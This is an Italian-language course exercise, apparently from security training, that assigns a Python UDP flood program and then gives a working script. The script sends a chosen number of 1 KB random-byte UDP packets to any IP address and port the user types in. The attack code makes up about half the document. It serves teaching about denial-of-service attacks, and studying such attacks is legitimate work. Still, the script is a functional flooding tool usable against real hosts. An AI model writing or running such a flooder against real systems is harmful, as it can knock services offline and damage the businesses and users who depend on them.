

# DDoS

## Attack Code

### Sommario

Traccia esercizio principale .....	1
Traccia esercizio facoltativo .....	1
Codice.....	2

### Traccia esercizio principale

Gli attacchi di tipo DDoS, ovvero Distributed Denial of Services, mirano a saturare le richieste di determinati servizi rendendoli così indisponibili con conseguenti impatti sul business delle aziende.

L'esercizio di oggi è scrivere un programma in Python che simuli un **UDP flood**, ovvero l'**invio** massivo di richieste **UDP** verso una macchina target che è in **ascolto** su una porta UDP **casuale** (nel nostro caso un DoS).

Requisiti:

- Il programma deve richiedere l'inserimento dell'IP target (input)
- Il programma deve richiedere l'inserimento della porta target (input)
- La grandezza dei pacchetti da inviare è di 1 KB per pacchetto – **Suggerimento**: per costruire il pacchetto da 1KB potete utilizzare il modulo «random» per la generazione di byte casuali.
- Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare (input)

### Traccia esercizio facoltativo

Estendere l'esercizio implementando un meccanismo di ritardo casuale tra l'invio di pacchetti UDP. Questo può rendere l'attacco più realistico e meno prevedibile, simulando meglio il comportamento di un numero elevato di utenti che inviano richieste al server in modo indipendente.

Il ritardo casuale deve essere tra 0 e 0.1 secondi.

## Codice

```
○○○

import socket
import random
import sys

def send_udp_flood(target_ip, target_port, packet_count):
    ....# Creazione del socket UDP -> DGRAM
    ....udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    ....# Creazione di un pacchetto di 1 KB di dati casuali
    ....packet = random._urandom(1024)
    ....print(f"Inizio invio di {packet_count} pacchetti UDP da 1 kb all'indirizzo {target_ip}:{target_port} ... ")

    ....# Ciclo per inviare i pacchetti
    ....for i in range(packet_count):
        ....# Invia il pacchetto all'indirizzo e porta target
        ....udp_socket.sendto(packet, (target_ip, target_port))
        ....print(f"Pacchetto {i+1} inviato")
        ....

    ....# Chiusura del socket
    ....udp_socket.close()

if __name__ == "__main__":
    ....try:
        ....# Richiesta all'utente delle informazioni necessarie
        ....target_ip = input("Inserisci l'indirizzo IP target:")
        ....target_port = int(input("Inserisci la porta target:"))
        ....packet_count = int(input("Inserisci il numero di pacchetti:"))

        ....# Avvio dell'attacco simulato
        ....send_udp_flood(target_ip, target_port, packet_count)

    ....except KeyboardInterrupt:
        ....print("\nProgramma interrotto.")
        ....sys.exit()

    ....except Exception as e:
        ....print(f"Errore: {e}")
        ....sys.exit()
```